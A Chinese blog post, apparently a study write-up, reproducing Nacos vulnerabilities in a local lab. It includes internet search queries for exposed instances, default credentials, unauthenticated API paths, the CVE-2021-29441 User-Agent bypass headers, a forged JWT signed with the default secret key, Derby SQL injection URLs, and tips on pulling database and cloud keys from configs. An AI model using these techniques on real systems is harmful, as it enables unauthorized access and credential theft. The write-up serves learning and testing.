上心师傅的思路分享(三)--Nacos渗透

目录

1. 前言

2. Nacos

2.1 Nacos介绍

2.2 鹰图语法

2.3 fofa语法

2.3 漏洞列表

未授权API接口漏洞

3 环境搭建

3.1 方式一:

3.2 方式二: 

3.3 访问方式

4. 工具监测

5. 漏洞复现

5.1 弱口令

 5.2 未授权接口

5.3.1 用户信息 API

5.3.2 集群信息 API

5.3.3 配置信息 API

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

5.4.1 验证漏洞

 5.4.2 构造JWT token

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

5.5.1 漏洞复现:

 5.5.2 工具复现

5.5.3 一些常用的查询语句

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

6.其他利用方式

7.总结 


1. 前言

        最近回顾看一下上心师傅在上课时分享的渗透思路,因为本次的这个利用方式之前是了解过,Ctf比赛遇到过,但是当时的我还是小白一个对此完全不懂,而在经过上心师傅的分享后,发现其实原理自己懂,但是一直没有利用和学习过,刚好上心师傅讲了,那就认真学习同时复现一下吧.

        刚好也对漏洞环境搭建做一个练习,毕竟一名合格的安全测试人员,除了在实战环境下复现,也需要自行搭建真实环境进行漏洞复现测试,避免在实战环境下影响业务.

免责声明

        博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

        下面是上心师傅上课讲的一些思路总结,以及我自己对这个漏洞学习到的一些总结和梳理.

2. Nacos

2.1 Nacos介绍

        Nacos 是阿里巴巴推出来的一个开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

        但是Nacos是部署在内网的,因此下面通过语法搜索出来的可以看到的,一般会做访问限制的,正常是访问不到的,如果可以访问就可以尝试是否存在漏洞了.当然如果直接在真实环境下测试,一是未授权行为,二是不容易找到复现环境,所以在本地搭建环境来进行复现是最安全,也是最容易

2.2 鹰图语法

app.name="Nacos" 

2.3 fofa语法

app="Nacos" && icon_hash="1227052603" && country="CN"

2.3 漏洞列表

Nacos控制台默认口令漏洞

漏洞影响版本:所有版本

nacos/nacos
CVE-2021-29441 Nacos权限认证绕过漏洞/nacos/v1/auth/users?pageNo=1&pageSize=1
未授权API接口漏洞

用户信息 API:      /nacos/v1/auth/users?pageNo=1&pageSize=5 (pageSize和pageNo根据数据量自行更改)

集群信息 API:   /nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

配置信息 API:  /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=

&search=accurate&accessToken=&username=

Nacos token.secret.key默认配置(QVD-2023-6271)

漏洞影响版本: 0.1.0 <= Nacos <= 2.2.0

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate返回403就可以考虑伪造jwt

 Nacos User-Agent权限绕过(CVE-2021-29441)

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1

http://ip:端口/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur 

这个版本环境很低,需要的师傅可以搭建环境自行复现

 
Nacos-client Yaml反序列化漏洞  
漏洞影响版本: Nacos-Client < 1.4.2
具体看下面复现

Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

漏洞影响版本:1.4.0 <= Nacos < 1.4.6 和 2.0.0 <= Nacos < 2.2.3

开放7848端口
Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

derby数据库

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

nacos+spring  actuator 如果从nacos无法突破, 从actuator中的heapdump获取密码 /actuator/heapdump进行分析尝试获取密码,然后再进入nacos

3 环境搭建

                          本次Nacos漏洞复现环境都是在Linux环境下进行复现的

3.1 方式一:

直接下载

下载环境
wget https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz
 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
 
 
进入目录
cd nacos

cd 进入nacos的bin目录

启动

./startup.sh -m standalone
关闭
./shutdown.sh

3.2 方式二: 

        因为自己的环境出了问题,导致无法用命令下载github的文件,于是通过下面的方式解决,这里我只做复现和分析就不写这种方式了,下面这个师傅的文章比较详细,可以跟着学习和使用.

Kali设置/挂载共享文件夹_kali开机自动挂载共享文件夹-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Ahuuua/article/details/108584355        直接浏览器访问下面的链接,当然直接访问会比较慢,可以通过科学方式加速

https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.tar.gz

        然后把下载好的文件放入共享文件夹,最后移动到自己常用的位置,然后在文件目录下按照下面的操作.

 
解压
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
 
 
进入目录
cd nacos

cd 进入nacos的bin目录

启动

./startup.sh -m standalone

关闭
./shutdown.sh

3.3 访问方式

ifconfig  # 注意和win查本机ip的方式有点不同

访问ip:8848/nacos/#/login

                        下面我的测试环境都是以搭建的虚拟机环境ip地址为准 

访问环境地址,出现下面的界面,代表搭建环境成功.

4. 工具监测

        在复现环境前,因为这个搭建的环境是比较老的版本,到目前为止发现的所有历史漏洞应该都是存在的,先用工具扫描一下,进行尝试,上心师傅推荐的这个工具比较好用,建议用最新版的,监测的poc会多一点.

charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用 (github.com)icon-default.png?t=N7T8https://github.com/charonlight/NacosExploitGUI        可以看一下漏洞描述,初步了解需要复现的漏洞原理,如果遇到不知道的,可以自行去搜索详细的文章进行学习.

java -jar NacosExploitGUI_v4.0.jar

                                因为是老版本,所以包含所有历史漏洞,扫描结果如下:

5. 漏洞复现

5.1 弱口令

                        Nacos控制台默认口令为nacos/nacos,遇到了可以先尝试一下

一般会存在一个test/test的用户,也可以进行尝试

 5.2 未授权接口

                        在未登录情况下的登录界面直接拼接下面的api接口

5.3.1 用户信息 API

/nacos/v1/auth/users?pageNo=1&pageSize=5

        这里因为没有添加用户,所以就一个用户,如果有很多用户的话,可以尝试其他用户的弱口令

        显然密码是加密的,并且我之前遇到过一个系统也是这样加密的,搜索和学习后,发现是无法解密的密码,这里只能通过尝试常见的弱口令,或是账号和密码一样看能否进入了.

5.3.2 集群信息 API

/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=

5.3.3 配置信息 API

通过看别的师傅的一些挖掘案例文章发现这个接口和上面的用户信息接口一样很重要,并且还有可能会出现一些重要的配置信息,例如:接口在未授权的情况下可能会暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若存在云环境、文件系统,还可能暴露各种key

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=

5.3 CVE-2021-29441 Nacos权限认证绕过漏洞

验证漏洞

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

 在浏览器直接访问是get请求:

http://192.168.10.14:8848/nacos/v1/auth/users

        在burp的历史包中,将访问请求发送到重放模块,然后更改请求方式为post,修改User-Agent为Nacos-Server,至于为什么是username=xiaoyu&password=xioayu  参数你可以在登录界面抓一个包就知道为什么是这个格式了.

                                                             用xiaoyu/xiaoyu进行登录

5.4 Nacos token.secret.key默认配置(QVD-2023-6271)

        复现这个漏洞的话通过Nacos版本 <= 2.2.0的才是正确的复现环境,但是老版本也是存在这个漏洞的,本来不想搭建这个环境,结果老版本工具可以监测到,但是自己复现无法成功,于是,直接用老搭建一个新的环境,需要的师傅自行搭建复现,其他搭建和上面的操作是一致的.

环境地址:https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

                                        注意需要先开启鉴权,不然登录是不需要使用JWT的

        Nacos使用token.secret.key来进行身份认证和加密。在Nacos版本 <= 2.2.0 时,,这个密钥是固定的默认值,导致存在一个安全漏洞。

密钥的固定的默认值

SecretKey012345678901234567890123456789012345678901234567890123456789

5.4.1 验证漏洞

                        这个是2.2.0比前面的2.0.0多了一行红字,内部系统,不可暴露到公网

        不带jwt直接访问如下地址,看别的师傅都说,正常是返回403,但是我是老版本,也会出现信息,结果我尝试了2.2.0还是会返回下面的信息,此时我已经懵逼了

http://192.168.10.14:8848/nacos/v1/auth/users?pageNo=1&pageSize=5&search=accurate

        2.2.0版本未经过鉴权的话进行测试发现也会出现下面的信息,并且可以进行一些列的操作,比如说直接添加用户,删除用户等等.

 老版本的话,会出现下面的信息,有我前面复现漏洞添加的新用户

 5.4.2 构造JWT token

先访问接口

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

其中exp是时间戳,利用下面部分进行伪造令牌,然后进行尝试

exp是时间戳,需要把时间戳改为大于当前时间,建议直接改为明天的时间

默认泄露了key,就是下面的全部

SecretKey012345678901234567890123456789012345678901234567890123456789

{
  "sub": "nacos",
  "exp": 1718012869 
}

        时间戳修改为比当前时间晚一天就可以了,生成一个比当前时间晚一天的时间戳,写博文的时候当前日期为6月9日,时间戳改为6月10日

 按图所示填写对应的palyload和key,拿到伪造的JWT

JWT构造网站
https://jwt.io/  
时间戳生成网站
https://tool.lu/timestamp/

 在JWT页面伪造好数据包后,就可以尝试在登录界面随意抓包,然后在数据包中添加下面的语句,

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODAyMDM4Nn0.UpyKSCj74oARPBP23X0TnAtWI6i3OKhr3XsaqfMSkL0

        重新抓一个登录的包,拦截返回包,将上面将返回的数据,替换重新抓的拦截包里的数据,然后发包就会进行后台界面

5.5 Nacos Derby SQL注入漏洞 (CNVD-2020-67618)

这个还是在2.0.0环境下进行复现的,当然也可以使用工具进行测试

        Nacos config server 中有未鉴权接口,执行 SQL 语句可以查看敏感数据,可以执行任意的 SELECT 查询语句。使用derby数据库进行部署的Nacos.

5.5.1 漏洞复现:

/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st

 5.5.2 工具复现

5.5.3 一些常用的查询语句

select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info

5.6 CVE-2021-29441 Nacos权限认证绕过漏洞

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
User-Agent: Nacos-Server
serverIdentity: security 

正常情况下:

 在请求头中添加绕过后,出现下面的信息,说明权限绕过了

5.7  Nacos-client Yaml反序列化漏洞  和 Nacos Jraft Hessian反序列化漏洞(QVD-2023-13065) 

        这两种漏洞需要在一定的环境下才有存在的可能,而在本地环境的话,目前我是无法达到复现效果的,所以无法复现,可以看这位佬的,有对漏洞的详细解释,当然也可以借助上面的那款工具进行进一步利用.

Nacos 漏洞利用总结 | h0ny's blogicon-default.png?t=N7T8https://h0ny.github.io/posts/Nacos-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

6.其他利用方式

        可以在Nacos的后台的配置文件中尝试寻找是否存在暴露MySQL、Redis、Druid  postgresql   mongodb等配置信息,若是存在云环境、文件系统,还可能暴露各种key,都是可以进行链接和利用的,看是否能进行存储桶接管.

7.总结 

        本次是对上心师傅所讲的漏洞进行一次总结,同时对环境搭建与复现过程中,其实也遇到了很多问题,都一点一点解决了,虽然有点艰辛,但是完成的时候还是很快乐的,继续加油.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/697701.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Functional ALV系列 (10) - 将填充FieldCatalog封装成函数

在前面的博文中&#xff0c;已经讲了封装的思路和实现&#xff0c;主要是利用 cl_salv_data_descr>read_structdescr () 方法来实现。在这里&#xff0c;贴出代码方便大家参考。 编写获取内表组件的通用方法 form frm_get_fields using pt_data type any tablechanging…

微信小程序双层/多层 wx:for 循环嵌套,关于内外层的 index 和 item ;data-index 传递两个参数

微信小程序用 wx:for 循环可以快速将后端 js 的数组快速显示到前端&#xff1b; 那假如数组中嵌套数组&#xff1b;就存在内外层两层及以上的多层嵌套循环了。 那么如果两层的嵌套式循环 index 究竟是属于哪一层呢&#xff1f;item 又属于哪一个呢&#xff1f; <view><…

java之面向对象2笔记

1 接口(interface) 1.1 概述 接口&#xff08;Interface&#xff09;在计算机科学中&#xff0c;特别是在面向对象编程&#xff08;OOP&#xff09;中&#xff0c;是一个重要的概念。它定义了一组方法的规范&#xff0c;但没有实现这些方法的具体代码。接口的主要目的是确保类…

介绍Linux

目录 1.什么是操作系统 2.现实生活中的操作系统 3.操作系统的发展史 4.操作系统的发展 Linux的不同版本以及应用领域 1.Linux内核及发行版介绍 <1>Linux内核版本 <2>Linux发行版本 2.应用领域 个⼈桌⾯领域的应⽤ 服务器领域 嵌⼊式领域 3.文件和目录 …

Pulsar 社区周报 | No.2024-06-07 | Apache Pulsar 新分支 3.3 版本发布

“ 各位热爱 Pulsar 的小伙伴们&#xff0c;Pulsar 社区周报更新啦&#xff01;这里将记录 Pulsar 社区每周的重要更新&#xff0c;每周发布。 ” 本期主题&#xff1a;Apache Pulsar 新分支 3.3 版本发布 Apache Pulsar 新分支 3.3 版本发布&#xff1a;Apache Pulsar 3.3.0[1…

2024屈原故里端午文化节开幕

6月7日&#xff0c;“中国端午诗意宜昌”2024屈原故里端午文化节在宜昌市秭归县屈原广场盛大开幕。相关嘉宾、屈氏后裔、华商侨商及外资企业代表、主流媒体代表和当地民众聚首屈原祠前&#xff0c;缅怀诗祖屈原&#xff0c;共襄端午盛典。 本届屈原故里端午文化节由湖北省人民政…

【SQLAlChemy】filter过滤条件如何使用?

filter 过滤条件 生成 mock 数据 # 创建 session 对象 session sessionmaker(bindengine)()# 本地生成mock数据 for i in range(6):# 生成随机名字, 长度为4到7个字符name .join(random.choice(string.ascii_letters) for _ in range(random.randint(4, 7)))# 生成随机年龄…

Lua搭建网站后台教程

本文讲解如何使用二进制发布包和FastWeb网站管理工具搭建站点 FastWeb网站管理工具 使用该工具可快速在Windows平台部署。支持官方或三方模块的自动安装、日志调试、版本更新等。 1、下载最新版本压缩包 2、解压到任意目录(建议英文) 3、运行 ①点击 [设置]->[安装] 部…

IO进程线程(八)线程(pthread_t)

文章目录 一、线程(LWP)概念二、线程相关函数&#xff08;一&#xff09;创建 pthread_create1. 定义2. 使用&#xff08;不传参&#xff09;3. 使用&#xff08;单个参数&#xff09;4. 使用&#xff08;多个参数&#xff09;5. 多线程执行的顺序6. 多线程内存空间 &#xff0…

BUUCTF---web---[GYCTF2020]Blacklist

1、来到题目连接页面 2、测试单引号和双引号&#xff0c;单引号报错&#xff0c;双引号没报错 1 1" 3、使用万能句式 4、使用堆叠注入测试&#xff0c;查看数据库名 1;show databases;# 5、查看表名 1;show tables;# 6、查看FlagHere中字段名 1;show columns from FlagH…

Python | Leetcode Python题解之第143题重排链表

题目&#xff1a; 题解&#xff1a; class Solution:def reorderList(self, head: ListNode) -> None:if not head:returnmid self.middleNode(head)l1 headl2 mid.nextmid.next Nonel2 self.reverseList(l2)self.mergeList(l1, l2)def middleNode(self, head: ListNo…

Webpack 从入门到精通-基础篇

一、webpack 简介 1.1 webpack 是什么 webpack 是一种前端资源构建工具&#xff0c;一个静态模块打包器(module bundler)。 在 webpack 看来, 前端的所有资源文件(js/json/css/img/less/...)都会作为模块处理。 它将根据模块的依赖关系进行静态分析&#xff0c;打包生成对应的…

CA证书及PKI

文章目录 概述非对称加密User Case: 数据加密User Case: 签名验证潜在问题 CACA证书的组成CA签发证书流程CA验证签名流程CA吊销证书流程 PKI信任链证书链 概述 首先我们需要简单对证书有一个基本的概念&#xff0c;以几个问题进入了解 ❓ Question1: 什么是证书&#xff1f; 证…

数据可视化——pyecharts库绘图

目录 官方文档 使用说明&#xff1a; 点击基本图表 可以点击你想要的图表 安装&#xff1a; 一些例图&#xff1a; 柱状图&#xff1a; 效果&#xff1a; 折线图&#xff1a; 效果&#xff1a; 环形图&#xff1a; 效果&#xff1a; 南丁格尔图&#xff08;玫瑰图&am…

Mysql的InnoDB介绍

目录 show engines查看搜索殷勤&#xff0c;默认InnoDB。 Mysql为什么使用InnoDB作为默认存储引擎 InnoDB主要包括内存结构和磁盘结构 内存结构包含: 磁盘结构中包括: 为什么设计成内存结构和磁盘结构两部分 使用InnoDB存储引擎创建的表&#xff0c;对应的数据文件在哪里…

Android14之向build.prop添加属性(二百一十九)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒体系统工程师系列【原创干货持续更新中……】🚀 优质视频课程:AAOS车载系统+AOSP…

uniapp原生插件开发实战——集成Android端的Twitter登陆

Android集成Twitter登陆的官方教程:https://github.com/twitter-archive/twitter-kit-android/wiki 项目创建 首先可以先看下uniapp原生插件开发教程 uniapp原生插件类型分为两种: Module模式:能力扩展,无嵌入窗体的UI控件,类似于功能插件。Component模式:在窗体中内嵌…

php 混合xml js,html 代码报错 ,结束标签关闭, short_open_tag 的作用,php关闭文件结束判断

结束标签关闭, short_open_tag 的作用&#xff0c;php关闭文件结束判断 有时候我们我们会将php&#xff0c;xml&#xff0c;js&#xff0c;html 混合编写 php文件只要开始标签而不要结尾标签? 混合代码看代码 直接运行 yntax error, unexpected version (T_STRING) in php…

STM32智能家居项目esp8266上云OneNet【附源码+详细教程】

目录 一、硬件选材 二、OneNet使用教程 三、代码修改教程 四、添加数据流方法 五、项目工程&#xff08;源码元件清单教程&#xff09; 小白也能做&#xff0c;项目工程在后文可下载。 一、硬件选材 二、OneNet使用教程 拿到代码后肯定是连不上网的&#xff0c;因为源码…

Android.基本用法学习笔记

设置文本的内容 先在strings.xml声明变量 方法1. 方法2. 设置文本的大小 1.单位dp&#xff0c;大家可以去学一下有关的单位换算 2. 设置文本颜色 1. 2. 4.设置文本背景颜色 1. 2. 设置视图的宽高 与上级视图一致&#xff0c;也就是上一级有多宽就有多少 1. 2. 3. 4. 设置视图…